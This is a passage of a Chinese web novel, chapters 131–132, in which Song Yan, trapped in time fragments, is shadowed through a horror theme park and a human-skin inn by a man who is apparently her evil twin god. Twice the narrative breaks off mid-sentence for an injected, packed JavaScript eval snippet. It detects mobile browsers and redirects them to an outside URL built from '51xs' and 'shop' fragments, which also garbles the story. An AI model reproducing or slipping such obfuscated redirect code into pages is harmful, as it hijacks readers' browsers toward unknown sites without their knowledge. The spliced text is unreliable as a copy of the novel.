沈桉的回忆被打断,心中忽然升起一点不好的预感,他问道:“这个法子很险,如果不为了帝都,你是为了什么?” 半空中升起一只巨大的银白色眼睛,这是秩序同沈桉约定好的仪式开启方式。 那只眼睛没有睫毛,中间的缝隙慢慢扩大,连眼瞳也是一片纯白。 仪式材料无火自燃,如烧给神灵的供奉,无论是沈桉,还是姜夜白,都沐浴在银色的光辉中。 这就是真的没有回头的机会了。 沈桉曾经吞噬过企图夺舍的神侍,在这样刺目的光线里还能勉强睁开一只眼。他眯起眼,看到汹涌的银色潮水里,姜夜白笑了一下。 然后他听到了对方的回答。 他说:“可能是为了把某人找回来吧。” 131. 大结局(七) 131 * 一辆餐车在宋言座位前停下,乘务员乌黑油亮的长发被发带绑起,妆容精致。 她问道:“姑娘,需要盒饭吗?” 宋言摇头,但有人先她一步接过两份盒饭,从兜里掏出手机扫码付钱,一气呵成。 那女孩捧着两份盒饭,大跨步在宋言身边坐下。 她小声抱怨道:“我想睡觉,但他们好吵,自己倒是聊得开心极了。还是宋言你这好,清静。” 女孩长相圆润甜美,是宋言高中三年的同桌。 一群高中生约好毕业旅行,地点是隔壁市一家恐怖主题乐园,其实就是个大型密室逃脱和鬼屋的综合体。 虽然说毕业旅行+鬼屋这两个元素本身就满足很多灵异要素了,但让宋言更匪夷所思的是,她为什么会参加这场旅行。 在她的记忆里,自己没有和任何人一起远途旅行过。 这场毕业旅行她自然也是没有去的。 在把女孩送到福利院后,她回到山上,找到隧洞,跳了进去。 虽然她更改了那段过去,但理论上她不能出现在那段时间,所以只有她离开,女孩被送去福利院,山上的人全部be的结局才能成立。 至于其间种种细节,倒不用宋言操心,因为秩序在她重新跳进时空乱流的时候,就提醒她,不要再试图更改过去,bug太多的话,祂修不过来。 哦,原来她可劲蹦跶的背后,是秩序在加班修bug。 宋言心想,不知道在女孩的记忆里,这段堪称魔幻的过往会被改成什么样。 会和她一样吗? 但这也不是她能关心的事,很多人其实只有一面的缘分,宋言能被投放在那个时间点,帮一帮过去的自己,已经是命运的馈赠了。 宋言就不再去想这件事。 再次落地,睁开眼,就是在这趟列车上。 与上次不同,这次她不是旁观者,而是参与者。 她直接成为了这段“过去”的一部分。 这并不是件好事,如果她同这些时空碎片联系越来越紧密,最后或许会迷失在时空乱流中。 秩序说,唯一的解决办法是尽快找到另一个毁灭,离开时空乱流。 可是另一个“她”,在哪呢? 宋言低下头,顺手拆开包里的饼干,边吃边想。 “诶你不吃盒饭吗?”女孩又把盒饭往宋言面前推了推,“我买了两份,其中一份就是给你的啊!” 这个同桌还是一如既往的热情。 秋悦赶在宋言拒绝前,补充道:“我一个人根本吃不完这么多,你要是不吃不就浪费了?哎呀,你就当帮我个忙嘛!” 宋言就只好收起饼干,吃这份盒饭了。 秋悦肉眼可见地高兴起来,从书包里抽出一份宣传册,念道:“什么无间地狱、邪神......啊还有鬼怪,感觉好可怕啊,言言,到时候我们一块玩,你可不要丢下我。” 宋言夹到嘴边的菜一顿,状似无意道:“你怕鬼,怎么还来这个恐怖主题的游乐园。” 秋悦眨眨眼:“因为你想来啊,我就和你一块来了。要不是我和你坐票没买到一起,我上车起就坐在你旁边了。” 她看着宋言,忽然笑起来:“宋言,你不会旅趟游都旅糊涂了吧,你最喜欢研究这些怪力乱神的东西了,这次旅行也是你提出的,然后我们班的同学干脆组了个团。” 宋言搁下筷子,心想不对。 就算过去改变了,这个宋言的性格可能不像她高中时那样冷淡,但一个人的底色是很难改变的。 她就算真在研究这些东西,也不会闹得众人皆知。 何况让她去主动邀请别人旅行,这本身就是一件不可思议的事情。 宋言沉吟道:“如果我现在想回去呢?” 秋悦一脸“你在说什么傻话”,道:“马上就到了,你现在回去干嘛?何况我们报的是自由行小团,不能中途退出的。” 一会儿,她又小声嘀咕道:“其实我也觉得奇怪,你之前春游秋游都不参加的,却在班上问有谁想去这个主题乐园......我差点以为你被夺舍了。” 宋言不动声色听着,这倒符合她的自我认知。 但是秋悦很快又把头摇得像拨浪鼓:“但现在来看,你还是老样子嘛!仿佛把你丢进人群就是在谋杀你一样,哈哈哈!” 宋言:“......” 她对这个同桌印象也不深,只隐约记得她是个热情活泼的人,现在看来,是活泼过了头,有点缺心眼。 列车很快到站。 旅行社的车在站点接应,把这帮高中生送到乐园门口,就算完成了今日任务。宋言他们要在主题乐园玩一天,晚上八点才回酒店。 秋悦虽然嘴上和宋言抱怨了几句,但孩子之间忘性大,下车后她又回到了那群同学里,还朝宋言挥手,想把她也拉过来。 宋言看了眼秋悦那边,三女两男,她冲宋言喊道:“我们几个一块吧!不然这地方这么大,到时候也不好找人。” 宋言挥了下手机:“有手机,总不至于走丢。” 秋悦扁了扁嘴,两道人就此分开。 宋言打开电子地图,心里失笑,秋悦之前让宋言不要丢下她,其实她才是最不可能落单的那个。 主题乐园依托实景建造,本身是一座荒废多年的小镇,人造设施并不密集,宋言走进来很久,才看到一家便利店。 秋悦说的有一定道理,这种地方如果不结伴同行,是很容易迷失的。 最近可能是淡季,宋言一路走来都没看见什么人。她从货架上拿了瓶水,打开收款码,却愣了下。 手机没信号了。 便利店老板解释道:“为了更好地营造恐怖氛围,里头装了信号屏蔽仪,我们也一般是收现金。” 宋言想了想,从背包角落里翻出几块钱给他,问道:“那要是和同伴走散了怎么办?” 老板回答:“这好办,你们进来时不是都发了块腕表吗,你去广播中心,把你同伴的编号报给那里的人,对应的表的上会显示你的你的位置和信息。” 宋言抬手,袖口露出一截红色的腕表。 老板继续叨叨:“哎,说起来刚来的那个小帅哥也是和朋友走散了,你们要不一块去广播中心?还能有个照应。” 宋言顺着老板的目光看去,货架里头,露出一截肌肉线条流畅的的小臂,那只手很轻松地将高处货物拿下来,从货架后走出。 那是个斯文俊秀的男人,看上去二十来岁,倒也配得上老板的赞誉。 他把几袋饼干和一瓶水放在收银台,从口袋掏出钱包,摸出一张红色的钞票,又道:“这位姑娘的水我一并结了吧,不用找了。” 老板犹豫道:“可是她已经付过钱了啊。” 这帅哥似乎有些惊讶,眼睛里流露出一点恰到好处的情绪,笑道:“我以为现在几乎已经没人用纸币了,原来这里还能碰到同道中人。” 老板拿了一张整钞,不太好意思,建议他们再拿点东西,推脱不过,这青年只好拿了几瓶酸奶才算完。 两人推拉里,宋言又知道了这人叫岑暮,今年二十八,带高考完的妹妹来乐园玩,一没留神,妹妹就走散了。 老板是个没把门的,聊几句就把广播中心怎么走,附近哪些地方好玩都给透了,最后顺嘴一提宋言也是和同伴走散,岑暮神色讶异地看向她,又笑了下:“看来我们还挺有缘。” 两人都要去广播中心,干脆结伴而行。黄泥巴地不好走,中途两人还停下来一次,喝水休息。 太阳慢慢爬了上来,日影变成一条线,岑暮解开袖扣,布料折上小臂,淡青色血管蜿蜒在冷白肌肤上,煞是好看。 他拧开一瓶酸奶递给她,道:“我妹妹叫岑昭,也是和你一样的年纪,虽然知道分开一会儿大概不会出事,但人总是难免担心。” 宋言附和道:“能理解,长兄如父,一边当哥哥一边还要当爹,你应该有些累。” 岑暮梗了下,不确定道:“你在编排我?” 宋言喝了口酸奶,摇头:“怎么会,你想多了。” 岑暮看着她把那口酸奶咽下去,心里松了口气,也就忘了追问。 广播中心在一栋掉漆的房子里,宋言和岑暮分别报了同伴的编号和要发的信息,事情办好后,宋言便要离开,岑暮惊讶道:“你不在这里等你的同伴来吗?” 宋言道:“我没打算和他们一路,发信息只是怕他们担心。” 在她走出门的时候,岑暮又跟上来,抿唇道:“我和你一道吧,反正我妹妹来这里也要很久。这地方太荒了,又没信号,你一个小姑娘遇到野猫野狗也不好处理。” 宋言心里权衡了下,觉得这个提议并没有什么坏处,于是抬头道:“那就多谢你了。” 她一字一句道:“岑大哥。” 岑暮似乎被这个称呼弄得受宠若惊,语气有些不自然:“我只是一看到你就想到我妹妹......女孩子出门在外,总是危险些。” 他又自嘲道:“不过我看你行事,是比这个年纪的孩子成熟多了,我要是这个年纪,不一定做得比你好。” 岑暮不知道宋言要去哪里,只好一路上找些话题聊,但宋言只偶尔搭理他两句,他只好道:“宋姑娘定力过人。” 但很快他就明白了宋言不是定力过人,她只是单纯不想理人。 宋言照着电子地图一直走到山脚下,这镇子里只有一座小山丘,最开始是给镇里当坟地用的,后来废弃,也就无人问津了。 宋言当然是打算上山的,此前秩序和她说过,时空碎片的出口一般在荒无人烟的地方,她一眼望去,哪还有比坟山更荒的地? 她犹豫的反而是她现在是时空的“参与者”,如果她离开这段时间,会造成什么变化? 原本存在的“宋言”会被直接抹杀吗? 身侧传来岑暮的惊呼。 “啊,猫?!” 宋言望过去,硕大的芭蕉叶下,一只长毛三花蹲坐在地,乌沉沉的杏仁眼睁大一瞬,下一秒毫不犹豫地朝宋言奔来,硕大的尾巴在身后一甩一甩,尘土飞扬。 宋言想都没想,一把接住了它。 岑暮离得近,被三花甩动的尾巴抽了一记,糊了满嘴猫毛,他顶着这副尊容,皱眉道:“野猫身上未免带有细菌和寄生虫,还是不要长时间接触好。” 三花缩在宋言怀里,好像被这句话打击到,眼瞳泛起一阵烟气,安静地望着宋言。 宋言想了想,决定嘘岑暮:“小点声,别吓着我的猫。” 岑暮......岑暮感觉自己被隔空塞了一把猫粮。 特别是看到宋言开口后,猫咪蓬松的尾巴又摇了起来,他才迟疑道:“这猫为什么摇尾巴?” 宋言盯着三花乌沉沉的眼瞳,眨了眨眼:“可能因为这猫以前是狗。” 岑暮:“......啊?” 宋言还是上了趟山——抱着猫上去的。岑暮在山下等她,笑容保持在刚刚好的幅度,见宋言下山时脸色不太好,问道:“你去山上找什么?” 宋言深深看他一眼,没说话,反而三花扬了扬尾巴,粉红色的肉垫缩回去,朝岑暮露出尖锐的爪钩。 岑暮便知道这猫还在记恨自己,刚想说点什么,就听到宋言道:“去上坟。” 岑暮没敢问给谁上坟,他觉得如果问出来,宋言脸色会更不好看。 但好歹宋言喝了他给的东西,岑暮心想,第一步已经迈出去,之后就好做了。 接下来的路岑暮狗皮膏药般粘着宋言,宋言揣着只猫在前面走,他落后一步跟着,如果他不说话,一路便只有两人的脚步声。 以及三花偶尔的哼唧声和宋言的安抚。 宋言抱着这团暖烘烘的毛绒生物,心想,他好像已经把自己妹妹这个借口给忘了。 不过她也懒得提醒他。 她之前上山是为了找出口,不管她现在的状态能不能出去,至少得先找到地方。但问题就出在这个出口上。 山上根本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689579|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有出口。 宋言又在心里呼唤秩序,这位好姐姐也没有回应。 不会真的加班修bug去了吧...... 宋言想到自己之前做的,觉得这个猜测还真有可能,手无意识在三花脊柱上摩挲,随即被猫咪衔住,淡粉色鼻尖轻轻吻了下她的食指。 岑暮:......完了,瞎眼。 落日熔金,天慢慢暗了下来,宋言一路不停,在天黑前穿越重重民房,走到一栋巨大的客栈前。 客栈被装饰成哥特风格,门口站着个扮成瘦长鬼影的工作人员,远远朝宋言二人挥手。 宋言捧着地图道:“这是最后一个项目了,穿过鬼屋,就能离开乐园。” 她回头望了眼来路,暮色四合,乡间小路一片昏黄,她刚刚从这条路走过来,路上没有碰到一个人。 除了一直跟在她身边的岑暮。 岑暮适时道:“你不是还要等同伴吗?现在就离开?” 宋言抬起腕表,上面有一条信息,是秋悦发来的。 之前宋言去广播中心,除了报平安,还发去了一条信息。 宋言让秋悦立刻离开乐园。 除此之外没有任何解释,何况也找不到合适的解释。半刻钟后,宋言的腕表上收到一串颜文字。 是秋悦喜欢用的笑脸图案。 宋言一时觉得,缺心眼也有缺心眼的好处,至少不会问东问西。 宋言又放下衣袖,反问道:“岑大哥,你不等你妹妹了吗?” 岑暮笑了下,道:“好巧,我妹妹方才也借广播中心给我发了消息,她在乐园遇到喜欢的朋友,嫌哥哥是个拖油瓶,不想带着我了。” 宋言意味深长道:“那还真是巧。” 她怀里的三花适时喵了一声。 岑暮尽量无视这只猫,道:“可见我们有缘,我妹妹不要我,你同伴也提前走了。” 宋言没说是或不是,嘴角弯了一下,随即抱着猫跨过客栈大门。 这鬼屋的主题是人皮客栈,即使是最后一个项目,游客宋言也被仔细打扮了一番,她转身照镜子,看到自己被套上一件暗红圆领官袍,头发绾成一束,嵌在金冠里,光线昏暗,衬得人面如冷玉。 这里没有其他人,三花攀上她手臂,半立起来,道:“那男的有问题。” 它又道:“你这身衣服好看。” 宋言套上鹤纹大氅,自己在领口打了个结:“猫都能看出他有问题,他这人皮套得还不如不套呢。” 宋言身量比寻常姑娘高些,客栈一时找不到合适的服装,干脆给她一套男式明制官服,这样一来,她要扮演的角色就是误入人皮客栈的官老爷。 宋言系好的领结底下,两枚雪绒球左右晃动,三花克制着没有伸出爪子,问道:“你怎么认出我的?” 宋言的回答很简短:“直觉。” 猫咪只好收回爪子,小声嘀咕道:“好吧,我以为你会说心有灵犀,不过和这也差不多。” 它这才说起正事:“那一位把我送进来,让我告诉你,祂先前通过你定位到一个名字都不能提的人,那人重伤逃走,事情恐怕有变。” “恐怕是事情已变。”宋言揉开官袍上的褶子,重新抱起三花,“有人要图穷匕见了。” 猫咪问道:“你们不是一起的吗?你和那一位......祂这时候不来帮你?” 宋言淡声道:“暂时联系不上,可能被干扰了。” 猫咪点了点头,宋言从它那张猫脸上竟然看出一丝严肃,随即听到它道:“虽然我还是不知道你们在对付谁,但我想请求你,不要丢下我。” 它说这句话时无疑是很严肃的,但搭配上气鼓鼓的腮实在很难让宋言进入氛围,她随口道:“好,我记得了。” 三花看出她的敷衍,很无奈地把爪子翻过来,露出肉粉色的爪垫:“你按个手印,食言的话我会找你来讨。” 它其实对宋言按印这件事没什么期待,可能宋言自己都没发觉,她身上很有些反骨,具体体现在如果有人要求她做某件事,她不仅大概率不会做,还会给那人一巴掌。 但就在它都打算把爪子收回去的时候,肉垫被很轻地按了一下。 好吧,小猫咪是有一些特权的。 宋言道:“我很多时候都觉得,‘不要丢下我’是一句客套话。” 没等三花反应过来,她已经掀开化装间的门帘,朝黑暗处走去。 这是一条很长很长的甬道,宋言走了很久才看到一点光亮。 但怀里揣着一只毛绒绒的小猫,又没那么枯燥了。 临到尽头,三花听见一句轻飘飘的话,好像是宋言说的。 她说:“倒也不完全是直觉,你朝我跑过来的时候,尾巴摇得像狗。” 骤然,天光大亮。 宋言拨开层层叠叠的丝竹声,烛火焰光,眼中映入一张鲜活的脸。 岑暮坐在席上,身穿文士青袍,瞥见宋言装扮,愣了下,随即恢复笑意:“贤弟还不上座,为兄等你好久了。” 宋言却没看他,她站在琳琅珠玉中,听台上唱折。一个身穿暗红圆领袍的生角粉墨登场,开场便拉长声调,一唱三叹:“我有一段苦,说与诸位听呐——” “一苦发白鬓霜中进士,衣锦还乡亲已亡——” “二苦还京路途漫且长,荒野途遭黑客栈——” “三苦——”他嗓子像被什么掐住了一样,尖细得像指甲剐蹭铁锈,勉强唱完剩下的桥段。 “三苦贼人夺舍......我心盲,布衣有冤无处诉——” 唱完最后一句,他的性命也走到尽头,红纸片般飘飘荡荡落在地上,再无声息。 只一双眼亮得惊人,死时仍是睁开的,落地时换了个角度,直直望向宋言的方向。 场子里爆出一片惊呼,嘈杂人声里,宋言听到几道隐约喊她的声音。 她望着落地的红纸片,敛下眼帘,神情淡漠。 刚才还说联络不上秩序,现在,不就有人送消息来了吗。 132. 大结局(八) 132 * 宋言看着红色布料掩盖的尸体被抬了下去。 这唱词得挑着听,第一句是起调,述生平,没什么好听的。 但后面两句就精彩了,第二句说明这人是错投黑客栈出的事,第三句甚至差点没唱完,讲的是错投客栈之后的事,这人不仅钱财被侵,身体都被别人占了。 宋言抬眸,目光在戏台边缘停留,一截暗红色的布料落在地上,和她身上的官袍是一个颜色。 ......这说的是她? 没有更多时间细想,宋言被人拉到一旁,岑暮心有余悸道:“你还站在旁边看?!” 宋言看他一眼,淡声道:“为什么看不得?人在做天在看,天都在看,我为什么看不得?” 岑暮又被梗了一下,只好把她拉到一边桌椅上坐下:“那人从那么高的台子上摔下来,我都吓了一跳,这鬼屋还做得挺逼真,节目演出都有。” 两人身处客栈大堂,大红灯笼高高挂起,满堂映红,室内亮如白昼。 正前方戏台又上来个粉面小旦,唱的是《游园惊梦》,店小二给宋言这桌新添了茶水点心,陪笑道:“客人莫怪。” 宋言当着岑暮的面,喝了口茶,道:“真的只是鬼屋吗?” 岑暮似乎愣了下,旋即笑道:“当然是鬼屋啊,难不成我们还能穿越?” 宋言嘴唇微动:“不一定非得穿越,出门走着走着,误入某个特殊空间也是有的。我不怕误入,就怕是有人特意设局,骗我进去。” 她微微垂下眼,眼瞳映出冷色的光,好像在审视对方一样。 岑暮笑得脸僵,仍然道:“怎么会呢,我们过完这个项目,不就可以出去了吗?” 他这话没说完,宋言突然凑近,伸手摸上他面皮,岑暮懵住了,半晌才反应过来。 宋言徐徐收回手:“你的皮摸上去很像人皮。” 岑暮伸出手,指尖贴着刚才宋言摸过的部分,脸上浮出一丝不明显的红晕:“人的皮肤摸起来当然像人皮。” 宋言笑了笑,给怀里的猫咪顺了顺毛,没说话。 之后两人被店小二送回各自的客房,宋言关上门,脸上的笑容顿时消失了。 铜镜模糊映出一人一猫的影子,灯花噼啪爆响,宋言脸上却没有丝毫表情:“岑暮不想我穿这套衣服。” 这是个肯定句,她怀里的三花道:“他当时确实走了下神,那个表情......很像是预设了一个圈套,但兔子没钻进来。” 宋言盯着铜镜里的自己:“他倒是有耐心,在外面装了一天好大哥,原来是在这里等着呢......可是他为什么要到这里才动手呢?” 三花猜测道:“这里是他的地盘,方便动手些?” 自从进入这座客栈后,仿佛自成一界,外面的风声人声一点听不见了,就连刚刚宋言推开花窗,也是一片漆黑。 烛光摇曳,宋言眼瞳莹莹,摇头道:“不,我最开始是这样猜测的,但方才我发现,这恐怕不是方不方便的问题,而是他需要一个安全的地方,穿上‘我’这件为他量身定制的衣服。” 宋言轻轻摩挲指腹,岑暮那张皮看上去没什么问题,可摸起来便很容易发觉,肉松了些、皮冷了些。 这不是活人的皮。 宋言道:“我本来还不那么确定,毕竟我想不通一点,如果是祂,为什么要主动现身引诱我,祂不怕被发现吗?” “但是看到那个戏子后,我明白了,祂不是主动现身,而是被迫出现。我们原本并蒂双生,我当然是祂最好的补品。在被秩序逼入时空乱流后,有什么是比吃掉自己的胞生子更补的呢?” “可是,”宋言微笑道,“祂想吃掉我,也要问过我愿不愿意被吃呀。” 三花觉得宋言脸上的笑有些瘆猫。 宋言道:“不管岑暮想怎么样,我是不打算陪他演完这场戏的,为今之计,还是先想办法出去。” 这毕竟是岑暮的地盘,待得越久,风险越大,宋言没有在人家冰箱里当预制菜的爱好。 猫咪胡须动了动:“你的意思是......” 它话停在这里,耳朵忽然竖起:“有人来了。” 门被推开,宋言望着门外的人,有些意外。 那个被拖下去的红衣戏子,正好端端站在她门口,左右看了一眼,旋即入内,动作很轻地关上门。 他两只脚都迈进来后才松了口气,朝宋言作了一揖:“姑娘,请尽快离开这里,您的处境很危险。” 宋言毫不意外地点了点头:“我知道,祂想吃掉我嘛,其实祂早就找过我了,但是没成功。” 宋言觉得她的秽有些矛盾,之前在魔术师的幻境里,她的秽就用各种形态出现过,但那个秽并不想吃掉她,据宋言观察,她这个秽好像脑瓜子出了什么问题,一心把她绑在身边搞强制爱。 好像霸总小说看多了一样。 宋言不理解,宋言觉得它有病。 但是在秩序那看到的记忆里,她的秽做事就很干脆利落了,在莲池吞噬不了她,就把她诱骗到水边去,就算她又被人捞了出来,还要在她脑子里潜伏。 唉,有这样的毅力,做什么都会成功的。 戏子将一把银色的钥匙交到宋言手里,钥匙柄上有一只睁开的银色眼睛标识,戏子道:“我家主人让我带您去找门,尽快送您出去。” 宋言眸光一转:“秩序也来了?” 来了为什么不回她消息。 戏子眼神有些呆滞,半晌才道:“没有来,只有我来。” 宋言这才注意到,这人四肢僵硬极了,说话时脚边掉下几颗螺丝钉,似乎动作幅度太大,身体就会散架。 原来是个假人。 宋言想了想,抱着猫跟在他身后,也不知道他是如何规避的,两人穿过长长的回廊,没有碰见一个人。 路上,宋言不经意问道:“你家主人为何不亲自过来?祂的敌人就在这里,祂一点不着急的样子。” 这话不在戏子的回答程序里,他很久才磕磕巴巴地回答:“我家主人......在修缮卡巴拉。” 修缮卡巴拉? 宋言无意识捏了捏三花的爪垫,道:“有什么修缮,是一定要现在做的,比祂的心腹大患还重要?” 戏子道:“因为卡巴拉被入侵了。” 宋言眉心一跳。 谁会在这个节点入侵卡巴拉?再说,入侵神树的发源地有什么用呢?神树已经被焚毁,虽然留下几颗种子,但是秩序说这几颗种子都还没有长大。 如此想来,也只有她的秽有立场做这件事。可是祂为什么要这么做? 宋言长长吁出一口气,一连串问题兜头砸来,她手上重了一点,三花低低“喵呜”一声。 宋言旋即松开手。 三花却道:“你们那个地方,不该被入侵,是吗?” 宋言眨了眨眼,才道:“是,卡巴拉没有祂要的东西,祂只对收割小世界和我感兴趣。” 三花耳朵动了动,推测道:“既然这样,一定是卡巴拉有东西能帮助祂达成这个目的。” “卡巴拉有什么......”宋言手指微曲,顿悟,“神树!” 一棵碧绿繁茂的巨树映入宋言眼帘。 穿过曲折的回廊,客栈后是一个巨大的玻璃温室,透明的玻璃罩下,巨树葱葱郁郁,生意盎然。 但这和宋言记忆中的神树仍有差别,宋言记得,卡巴拉那株古木即使只远远瞥见一点枝桠,也能感受到无穷的生命力,可以说,整个卡巴拉就是在这种生命力上建立起来的。 但这棵树,却要依赖温室的供养,源源不断抽取周围的生命力,宋言一到这里,感觉空气都粘滞不少。 她又捻了捻猫咪下颚,思索道:“毁灭想再培育出一棵神树?” 她这边还没有思考出结果,三花无奈道:“你让我有些难以呼吸。” 宋言低头,才发现自己挡住了猫咪的呼吸孔,旋即移开,心想自己这手上有什么东西就想把玩的毛病是改不了了。 三花喘过气,斟酌道:“我发现我变成猫的时候,你就真的不把我当人看了。” 宋言毫无知觉:“有吗?” 猫咪点点头:“有的。不过目前最重要的事情还是为什么要培育这颗树,你觉得这么做有什么好处?” 宋言果然不再想这件事,思考道:“如果祂真的培育出了神树,也许可以重生一回,我听秩序说所有神灵都是这颗树孕育出来的,祂想重生......也只能是为了神格了。” 宋言掏出一枚金色的铃铛,两三下拆开,一颗碧绿的种子躺在掌心,接触到空气中勃发的灵气,瞬间冒出嫩绿的新芽。 “硬件条件是够的,能长成和神树差不太多的样子,估计种子也差不多。”宋言分析道,“如果这棵树能成为下一棵神树,就能让那个毁灭重生一回,重铸神格,如果毁灭的神格回到祂手里,我可能会灰飞烟灭。” 宋言虽然说的是“可能”,但心里知道这是板上钉钉的结果,她以此为基点分析道:“这样看来,祂做了两手准备,一边培育神树,如果搞到真的了,就自己重生一回;这条路不行,祂还可以杀死我,如果我死了,祂自然就是唯一的毁灭。” 三花听着她条理清晰的分析,眉心一跳,发现自己根本听不得这个“如果”,沉沉开口:“你杀了祂,你就是这个唯一。” 宋言浅色眼眸荡开一圈涟漪,笑道:“如果我杀不了呢。” 三花道:“那我会杀了祂。” 宋言又笑了起来,轻轻给猫咪顺毛:“小猫咪不要说这种气话,这不是你能做的。” 小猫咪:“......” 红衣戏子在前面喊她跟上,宋言把冒芽的种子收进口袋,跟了上去。 二人最终的目的地是一处地下室,楼梯曲折窄小,扶手上涂满了粘腻的不明液体,没有光,宋言只好用脚步试探下一步台阶。 下完最后一节台阶,戏子才道:“就是这里。” 宋言对面的墙上,赫然挂着一只巨大的银色眼睛,眼睛下方,是一个钥匙形状的凹槽。 宋言手心摊开,摆着先前戏子给她的那把钥匙,他的意思很明显,把钥匙放入凹槽,就能打开秩序准备的门。 宋言手指动了动,又把钥匙塞回了口袋。 红衣戏子不解道:“启动这扇门,您就能出去。” 宋言环顾四周,语气轻飘飘的:“真的是能出去吗?” 地下室靠墙的位置,摆满了半人高的箩筐,宋言把其中一个箩筐里的东西倒出来,人体像破布娃娃一样洒了一地。 宋言边扒拉那堆尸体,边道:“秩序都能把门开到别人家里来了,亲身过来一趟,有那么难吗?” “而且这人还是祂必须解决的对手。” 最上面几具血淋淋的尸体被宋言挑开,再下面的,就是还没来得及处理的了。 宋言把一具完好的尸体翻过来,这具尸体上,赫然长着和宋言一模一样的脸。 此时再看那几具血淋淋的尸体,宋言顿时明白了它们的用途。 这是毁灭为自己准备的皮。 祂最开始想套的应该是宋言的皮,但后来大概失败了,只好套上不相干的人的皮。 宋言饶有兴致地端详被剥皮抽筋的“自己”,三花却不太受得了这近乎妖异的场面,脸埋在宋言衣服褶皱里,皱着眉头道:“这地方邪得很。” 宋言道:“都邪神了,不邪一点怎么行呢。不过这对我来说其实是好事。” 她敲了敲小猫脑袋,三花只好抬头,陪她看底下看不出人形的尸体:“为什么会是好事?” 宋言提醒道:“你看,祂只剥了几张皮,后面这么多材料都没有用上,只能说明他是没有办法用这些东西的。” 三花眉头越皱越紧,摊开自己肉粉色的爪子,拍了拍她的手:“你直接说结论吧,我看不得这些东西,这太......让人难受了。” 宋言只好道:“好吧,结论就是——祂没有办法成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727750|122531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为‘我’。” 无论是一路上岑暮奇怪的态度,还是这个地下室的尸体,都在告诉宋言一件事,岑暮,或者说她的秽,一直想取代“宋言”。 宋言叹了口气,轻轻摩挲那把银色的钥匙:“问题就在这里了,我刚才一直在想,秩序说我的秽想杀了我,从而得到毁灭的神格,我最开始也是这样以为的,但是现在我又不确定了。” 她轻轻扫了一眼地上横陈的尸体,目光轻轻落在红衣戏子身上:“如果杀了我就能做到的话,毁灭为什么还要费心思弄来这么多个‘我’,为什么还要培育神树——供养那棵树的能量不低吧。” 红衣戏子眼睛闪烁了一下,随即道:“我不明白您的问题。” 宋言摇了摇头:“你不是不明白,你是不想让我明白,其实仔细想来,我的秽并没对我表露出明显的攻击意图,祂一直想做的事......是取代我。” “我之前以为二者是一个意思,但现在我发现这其实是不一样的。”宋言无奈地摊开手,险些忘了自己还抱着猫,一松手,猫就要掉到地上。 不过这显然是只很有人性的猫,它在半空中轻灵一跳,落地时没有发出丝毫响声。 宋言盯着戏子道:“在先入为主的印象里,我确实觉得我的秽想杀了我,所以祂诱骗我落水,又想方设法把我弄进这片空间,可是现在想来,这种印象也是你一手打造的,不是吗?” 戏子眼睛又亮了一下,手臂僵硬地抬起,半晌才叹息一声:“你其实没必要说出来。” 这不是戏子的声音,这是秩序的声音。 可是宋言这人,一旦抓住对方的弱点,就放不下手的,她接着推测道:“你一直引导我和我的秽对立,但其实我的秽并没有实质上对我动刀子,就算是在魔术师的幻境里,祂也只是想逼我和祂结婚,最后被我杀了而已。” “如果打破你先给我建立的刻板印象,结合‘取代’这就很有意思了。”宋言慢慢说,“如果我和我的秽没有那么对立,我们会怎么样呢?我和祂的命运也纠缠在一起,互为彼此的锚点,那么我们最后是不是会——走向融合?” 宋言等着戏子的反驳,但戏子没有说话。 宋言这才点头:“那看来真的是这样了,我就说为什么一个想杀掉我的人,会一而再而三来我面前发癫,你不希望我和祂之间有一点融合的可能,是因为这对你来说是很坏的事情吧。” 沉默在两人间蔓延,三花在宋言说到“结婚”的时候耳朵动了两下,心想这怎么还能强买强卖呢,等听完这段话结尾,又觉得果然如此。 如果宋言能被人要挟,那也不是宋言了。 红衣戏子叹了口气:“这要看你怎么定义‘死亡’这件事,如果你和祂融合,从物理层面上当然称不上死亡,但是两个合并成一个,在我看来实在算不上活着。” “我们这些神灵最后都会走向消亡,你们如果融合,接着就是我们,乃至生命和机械。你玩过消消乐吗,最后只会剩下一个。”戏子道,“你看,我并没有在骗你,这对我们来都不是好事。” 宋言点头:“你只是在隐瞒。” 她又问道:“可是你为什么要放任祂把我拖到这个空间呢?你不想我们融合,甚至想替我杀了祂,但你明明可以在我进来前就拦住我。” 这也是宋言觉得最矛盾的地方,明明在她进入客栈前拦住她,就可以避免融合,但是直到她和岑暮推拉了一天,在进入客栈后,秩序才派人来带她走。 宋言在问出这个问题的下一秒,忽然想到答案:“是因为卡巴拉被入侵,你发现我的秽也不像你想的那么好对付,这是祂给你的警告......你就决定拿我当诱饵?” 戏子打断她:“我还没你想的那么老谋深算,我之前没有出现,是因为我真的在修缮卡巴拉。” 宋言微微挑眉,没有说信也没有说不信。 红衣戏子轻轻叹了口气:“我现在说什么你大概都是不信的,但我确实想找出一个对我们都好的办法,我要是一开始就打算牺牲你,不会送一个锚点进来给你稳固认知。” 宋言低头看着地上的猫,终于点了点头。 良久,她看着墙上那枚银色眼睛,它已经不像一刻钟前那样鲜艳,宋言从兜里掏出那枚钥匙,放入凹槽。 银色眼睛被注入神力,很快亮了起来,在墙上形成一个传送门,门后是望不见底的深邃星海。 